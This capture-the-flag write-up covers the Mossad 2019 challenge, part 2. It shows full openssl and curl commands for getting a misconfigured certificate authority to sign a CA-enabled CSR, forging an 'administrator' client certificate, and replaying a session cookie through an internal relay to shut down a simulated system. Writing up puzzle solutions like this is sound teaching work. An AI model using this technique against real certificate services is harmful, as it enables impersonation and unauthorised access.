The Mossad 2019 Challenge - Part 2
The second challenge begins.
When visiting the included URL - missilesys.com, we’re introduced with a “not welcome” page:
Upon inspection of the HTML source, we can see the included image is linked from a different domain - dev.missilesys.com.
When registering, a CSR (Certificate Signing Request) and a private key is generated in the browser. The CN (Common Name) in the CSR is set to the username you requested. The CSR and private key are sent to the server, and it serves you with a password-protected PKCS #12 file (the password is the password we’ve given). PKCS #12 is a file format standard that stores a certificate and a private key.
The server, which is the CA (Certificate Authority), creates and signs our certificate, per the CSR we’ve sent. We can then use the .p12 file to authenticate against missilesys.com:
In the page there’s nothing interesting except the settings button. However, when trying to reach /settings
, we get an error: You are not the administrator!
If we try to register with the administrator
username, we receive an error: User already exists!
. Changing the CSR in-place yields the same error, as the server probably validates the CN in the CSR.
Our primary playground is the CSR we’re sending to the server. As it’s generated in the client side, we can send whatever CSR we want, the question is whether the server will honor it.
The Chain of Trust
As we can see, the server is playing the role of the root certificate authority. The definition of a CA from wikipedia:
A certificate authority is an entity the issues digital certificates.
So simply put, any CA can issue a certificate, and right now we only know one CA. But the truth is, there can be more than one CA.
If the root CA signs a certificate for an intermediate CA, that intermediate CA can now sign end-entity certificates, thus creating a “chain of trust”.
So how do we ask to create a CA certificate from a CSR? Turns out you can add extension requests to CSR. The “Basic Constraints” extension specifies whether the certificate is a CA or not, and the maximum depth of valid certification paths.
So let’s add a Basic Constraints extension request to our .csr, first we’ll need to create ca.conf
with the following config:
[ req ]
distinguished_name = req_distinguished_name
req_extensions = v3_req
prompt = no
[ req_distinguished_name ]
commonName = somebody
[ v3_req ]
basicConstraints = CA:true
We can now generate the private key and CSR for our intermediate CA, and verify the basic constraints exist in the .csr:
root@beer:~/mycerts# openssl req -new -newkey rsa:2048 -nodes -keyout myca.key -out mycsr.csr -config ca.conf
Generating a 2048 bit RSA private key
...........+++++
....................................................+++++
writing new private key to 'myca.key'
-----
root@beer:~/mycerts# openssl asn1parse -in mycsr.csr
0:d=0 hl=4 l= 631 cons: SEQUENCE
4:d=1 hl=4 l= 351 cons: SEQUENCE
8:d=2 hl=2 l= 1 prim: INTEGER :00
11:d=2 hl=2 l= 19 cons: SEQUENCE
13:d=3 hl=2 l= 17 cons: SET
15:d=4 hl=2 l= 15 cons: SEQUENCE
17:d=5 hl=2 l= 3 prim: OBJECT :commonName
22:d=5 hl=2 l= 8 prim: UTF8STRING :somebody
32:d=2 hl=4 l= 290 cons: SEQUENCE
36:d=3 hl=2 l= 13 cons: SEQUENCE
38:d=4 hl=2 l= 9 prim: OBJECT :rsaEncryption
49:d=4 hl=2 l= 0 prim: NULL
51:d=3 hl=4 l= 271 prim: BIT STRING
326:d=2 hl=2 l= 31 cons: cont [ 0 ]
328:d=3 hl=2 l= 29 cons: SEQUENCE
330:d=4 hl=2 l= 9 prim: OBJECT :Extension Request
341:d=4 hl=2 l= 16 cons: SET
343:d=5 hl=2 l= 14 cons: SEQUENCE
345:d=6 hl=2 l= 12 cons: SEQUENCE
347:d=7 hl=2 l= 3 prim: OBJECT :X509v3 Basic Constraints
352:d=7 hl=2 l= 5 prim: OCTET STRING [HEX DUMP]:30030101FF
359:d=1 hl=2 l= 13 cons: SEQUENCE
361:d=2 hl=2 l= 9 prim: OBJECT :sha256WithRSAEncryption
372:d=2 hl=2 l= 0 prim: NULL
374:d=1 hl=4 l= 257 prim: BIT STRING
We can now send the POST request to the server to get the .p12 file, and check if we got a CA cert:
root@beer:~/mycerts# curl -k -F 'username=nobody' -F 'password=password' -F csr="`cat mycsr.csr`" -F privatekey="`cat myca.key`" https://dev.missilesys.com/download_cert --output ca.p12
root@beer:~/mycerts# openssl pkcs12 -in ca.p12 -passin pass:password | openssl x509 -noout -text -certopt ca_default
Enter PEM pass phrase:
Verifying - Enter PEM pass phrase:
Serial Number: 1 (0x1)
Signature Algorithm: sha256WithRSAEncryption
Validity
Not Before: May 17 13:55:42 2019 GMT
Not After : May 16 13:55:42 2020 GMT
Subject: CN = somebody
X509v3 extensions:
X509v3 Basic Constraints:
CA:TRUE
As you can see the CA is set to TRUE. Now that we’re a valid intermediate CA, we can sign an underlying certificate with the CN of ‘administrator’. First, generate a CSR:
root@beer:~/mycerts# openssl req -new -newkey rsa:2048 -nodes -keyout admin.key -out admin.csr -subj "/CN=administrator/"
Now let’s extract our intermediate CA certificate from the .p12 file:
root@beer:~/mycerts# openssl pkcs12 -in ca.p12 -clcerts -nokeys -out myca.crt
Now we’re ready to create and sign the new administrator certificate:
root@beer:~/mycerts# openssl x509 -req -in admin.csr -CA myca.crt -CAkey myca.key -CAcreateserial -out admin.crt -days 10
Signature ok
subject=CN = administrator
Getting CA Private Key
So now we have admin.crt, all we need is to prepend that certificate to our already existing chain. To do that, we’ll first extract the root CA certificate (that belongs to the server), then we’ll cat
them together into a .pem file and create a final PKCS #12 file:
root@beer:~/mycerts# openssl pkcs12 -in ca.p12 -cacerts -nokeys -out rootca.crt
Enter Import Password:
root@beer:~/mycerts# cat admin.crt myca.crt rootca.crt > final.pem
root@beer:~/mycerts# openssl pkcs12 -export -inkey admin.key -in final.pem -out final.p12
Enter Export Password:
Verifying - Enter Export Password:
Now you can import final.p12 to your certificates, and use that to identify against the server. If you were to look at the certificate chain, this is what you would see:
We now own the administrator
end-entity certificate. Let’s access the /settings
page:
This seems to be some sort of telnet client, and a list of hosts in the LAN and their ports. If we tried to connect to any of the hosts with port 23, we would get an error: Only one connection at a time is allowed
.
However, port 80 on 10.0.0.1 seems to work correctly. We can input raw HTTP requests into the textbox. I have sent a GET to /:
GET / HTTP/1.1
We got a response! The internal domain seems to be different, as it’s returning a cookie for .missilesystem.com
. The page would look like this:
After sending a GET request to /settings, we receive a 302 Found
response with a redirect to /. So something’s missing. After trying a bit of different things, it appears that adding the SID
cookie from the previous request allows you to access the settings page.
GET /settings HTTP/1.1
Cookie: SID=Z0FBQUFBQmMzc1hkaG...
In the returned page, we can see a button to turn off the management system:
<form method="post">
<div id="console">
<input type="submit" value="Turn Off Management System">
</div>
</form>
So all we need is to POST to /settings now, with our cookie.
POST /settings HTTP/1.1
Cookie: SID=Z0FBQUFBQmMzc1hkaG...
After sending the POST, we’ll be redirected to the completion page: